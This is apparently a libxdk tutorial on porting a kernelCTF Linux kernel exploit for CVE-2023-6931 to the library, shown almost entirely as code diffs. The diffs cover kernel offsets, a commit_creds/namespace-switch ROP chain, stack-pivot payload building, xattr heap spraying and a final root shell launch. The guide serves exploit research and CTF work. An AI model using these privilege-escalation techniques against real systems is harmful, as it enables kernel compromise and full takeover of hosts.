# How to port an existing exploit ## Introduction Let's compare two versions of the same exploit (exp111): * Original version submitted by researcher to kernelCTF ([exploit.c](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c) for lts-6.1.61) * libxdk adapted version ([exploit.cpp](https://github.com/google/kernel-research/blob/main/libxdk/samples/exp111/exploit.cpp)) available in [samples folder](https://github.com/google/kernel-research/tree/main/libxdk/samples) to have a high-level overview of typical porting process flow. ## Includes Following the **Steps 1,2** of ["Creating Database" part of "How to get started" guide](how_to_get_started.md#creating-a-database), add necessary includes: ```diff #include #include #include #include #include -#include #include #include #include #include #include +#include +#include +INCBIN(target_db, "target_db.kxdb"); ``` ## Hardcoded sizes and offsets Substitute hardcoded offsets, sizes etc (following **Steps 4-7** of ["Creating a Database" section of "How to get started" guide](how_to_get_started.md#creating-a-database)) from the original exploit: ```diff -#define SK_RCU_OFF 744 -#define SK_DESTRUCT_OFF 720 -#define JOP_OFF (READ_BUF_SIZE - SK_RCU_OFF + SK_DESTRUCT_OFF - XATTR_HDR_LEN) ... -#define XATTR_HDR_LEN 32 #define XATTR_DATA_LEN1 (READ_BUF_SIZE/2) -#define XATTR_DATA_LEN2 (JOP_OFF + 8) - -/* How far out to inc */ -#define OOB_LOC1 688 -#define OOB_LOC2 1040 -/* Target event fds */ -#define TFD1 ((READ_BUF_SIZE - 8 + OOB_LOC1)/8) -#define TFD2 ((READ_BUF_SIZE - 8 + OOB_LOC2)/8) -/* Number of increments */ -#define NUM_INCS1 0x830 -#define NUM_INCS2 0xf ``` with `Target` definitions or rely on the already added symbols and structs from `target_db`. The process in case of above mentioned exploit could look like this: * Define a variable to initialize **TargetDb**: ```diff int main (int argc, char **argv) { char name[32]; int num_events = 0; int target_sock; int optval = 1; + TargetDb kxdb(target_db, target_db_size); ``` * `Target` definitions for the exploit could look like this: ```diff + Target st("kernelctf", "lts-6.1.61"); + + st.AddStruct("netlink_sock", 1120, { + {"sk.sk_destruct", 720, 8}, + {"sk.sk_rcu.next", 744, 8}, + {"sk.sk_rcu.func", 752, 8}, + {"netlink_bind", 1040, 8}, + {"sk.sk_write_space", 688, 8} }); + + st.AddSymbol("__sk_destruct", 0xd1b360); + st.AddSymbol("rtnetlink_bind", 0xd52e80); + + kxdb.AddTarget(st); ``` > **Note** > Mind the fact that `Target` allows adding symbol and structure information on per-target basis. * Following **Step 8** of ["Creating a Database" section of "How to get started" guide](how_to_get_started.md#creating-a-database), detect on which target the TargetDb being run on, to be able to use correct symbol and offset values: ```diff + auto target = kxdb.AutoDetectTarget(); + + printf("[+] Running on target: %s %s\n", target.GetDistro().c_str(), target.GetReleaseName().c_str()); ``` * Calculate all of the necessary sizes and offsets in `main()`: ```diff + /* Target event fds */ + auto sk_write_space_off = target.GetFieldOffset("netlink_sock", "sk.sk_write_space"); + auto netlink_bind_off = target.GetFieldOffset("netlink_sock", "netlink_bind"); + auto tfd1 = (READ_BUF_SIZE - 8 + sk_write_space_off)/8; + auto tfd2 = (READ_BUF_SIZE - 8 + netlink_bind_off)/8; + + auto __sk_destruct = target.GetSymbolOffset("__sk_destruct"); + auto sock_def_write_space = target.GetSymbolOffset("sock_def_write_space"); + num_incs1 = __sk_destruct - sock_def_write_space; + + // (gdb) print rtnetlink_bind + // $5 = {int (struct net *, int)} 0xffffffff81d52e80 + auto rtnetlink_bind = target.GetSymbolOffset("rtnetlink_bind"); + // (gdb) disassemble rtnetlink_bind + // ... + // 0xffffffff81d52e8f <+15>: jmp 0xffffffff82404c80 <__x86_return_thunk> + auto rtnetlink_bind_ret = target.GetSymbolOffset("rtnetlink_bind") + 0xf; + auto num_incs2 = rtnetlink_bind_ret - rtnetlink_bind; + + auto sk_rcu_off = target.GetFieldOffset("netlink_sock", "sk.sk_rcu.next"); + auto xattr_header_size = target.GetStructSize("simple_xattr"); + auto rop_off = READ_BUF_SIZE - sk_rcu_off - xattr_header_size; + + auto sk_destruct_off = target.GetFieldOffset("netlink_sock", "sk.sk_destruct"); + char xattr_data[rop_off + sk_destruct_off + 8]; ``` > **Note** > If the structure or symbol was not defined via `Target` but used above, it means it's already present in `target_db` and available for all targets. ## Everything ROP related Remove symbol and ROP gadget offsets as they're going to be substituted by libxdk ROP chain automated generation: ```diff -#define PREPARE_KERNEL_CRED 0x1bb6b0 -#define COMMIT_CREDS 0x1bb410 -#define FIND_TASK_BY_VPID 0x1b1df0 -#define SWITCH_TASK_NAMESPACES 0x1b9880 - -#define DO_SYS_VFORK 0x18c3b0 -#define MSLEEP 0x224be0 - -#define INIT_NSPROXY 0x2676600 - -#define MOV_RSP_RBP_POP_RBP_RET 0x12aeac -#define POP_RDI_RET_THUNK 0x0d8a3a -#define POP_RSI_RET_THUNK 0x04899f -#define MOV_RDI_RAX_POP_RBX_RET_THUNK 0x0d4f31 ``` The functionality responsible for constructing ROP chain could also be removed: ```diff -void prepare_rop (long *rop, long kbase) { - rop[JOP_OFF/8] = kbase + MOV_RSP_RBP_POP_RBP_RET; - - rop += (JOP_OFF - SK_DESTRUCT_OFF)/8; - /* commit_creds(prepare_kernel_cred(0)) */ - rop++; - *rop++ = kbase + POP_RDI_RET_THUNK; - *rop++ = 0; - *rop++ = kbase + PREPARE_KERNEL_CRED; - *rop++ = kbase + MOV_RDI_RAX_POP_RBX_RET_THUNK; - rop++; - *rop++ = kbase + COMMIT_CREDS; - /* switch_task_namespaces(find_task_by_vpid(1, init_ns_proxy) */ - *rop++ = kbase + POP_RDI_RET_THUNK; - *rop++ = 1; - *rop++ = kbase + FIND_TASK_BY_VPID; - *rop++ = kbase + POP_RSI_RET_THUNK; - *rop++ = kbase + INIT_NSPROXY; - *rop++ = kbase + MOV_RDI_RAX_POP_RBX_RET_THUNK; - rop++; - *rop++ = kbase + SWITCH_TASK_NAMESPACES; - /* telefork */ - *rop++ = kbase + DO_SYS_VFORK; - *rop++ = kbase + MSLEEP; -} ``` The steps to substitude deleted sections could be like this: * Following ["Building the Payload" section of "How to Get Started" guide](how_to_get_started.md#building-the-payload) modify `main()` function of the exploit to rely on libxdk and previously calculated sizes / offsets: ```diff @@ -290,9 +331,39 @@ } printf("[*] Leaked kernel base: %p\n", kernel_base); + printf("[+] ROP chain:\n"); + RopChain rop(target, kernel_base); + rop.AddRopAction(RopActionId::COMMIT_INIT_TASK_CREDS); + rop.AddRopAction(RopActionId::SWITCH_TASK_NAMESPACES, {1}); + rop.AddRopAction(RopActionId::TELEFORK, {100000}); + HexDump::Print(rop.GetData()); + printf("[+] ROP chain size: %d\n", rop.GetData().size()); + + Payload payload1(rop_off); + Payload payload2(sk_destruct_off + 8); ``` * In the same fasion as described in ["Assembling the Final Payload with PayloadBuilder section"](how_to_get_started.md#assembling-the-final-payload-with-payloadbuilder) the payload buffer could be prepared for spraying: ```diff + PayloadBuilder builder(target.pivots, kernel_base); // create builder + + builder.AddPayload(payload1, std::nullopt, std::nullopt); + builder.AddPayload(payload2, Register::RBP, sk_destruct_off); // add payload, with register, and rip_offset + builder.AddRopChain(rop); // add a rop chain + if(!builder.Build()) exit(-1); // build it + + builder.PrintDebugInfo(); + + printf("[+] Stack pivot and ROP part of payload:\n"); + HexDump::Print(payload2.GetData()); + printf("Stack pivot and ROP part of payload: %d\n", payload2.GetData().size()); + std::vector full_payload; + full_payload.insert(full_payload.end(), payload1.GetData().begin(), payload1.GetData().end()); + full_payload.insert(full_payload.end(), payload2.GetData().begin(), payload2.GetData().end()); + + printf("[+] Full payload:\n"); + HexDump::Print(full_payload); + printf("Full payload size: %d\n", full_payload.size()); + ``` * Final modification to `main()` to adjust spraying routine to use `Payload` buffer look like this: ```diff /* Trigger ROP */ - prepare_rop(xattr_data, kernel_base); - spray_simple_xattrs(XATTR_SPRAY2, xattr_data, XATTR_DATA_LEN2); + spray_simple_xattrs(XATTR_SPRAY2, full_payload.data(), full_payload.size()); if (setsockopt(target_sock, SOL_SOCKET, SO_SNDBUF, &optval, sizeof(optval)) == -1) err_exit("[-] setsockopt"); @@ -321,4 +392,4 @@ printf("[*] Launching shell\n"); system("/bin/sh"); return 0; ```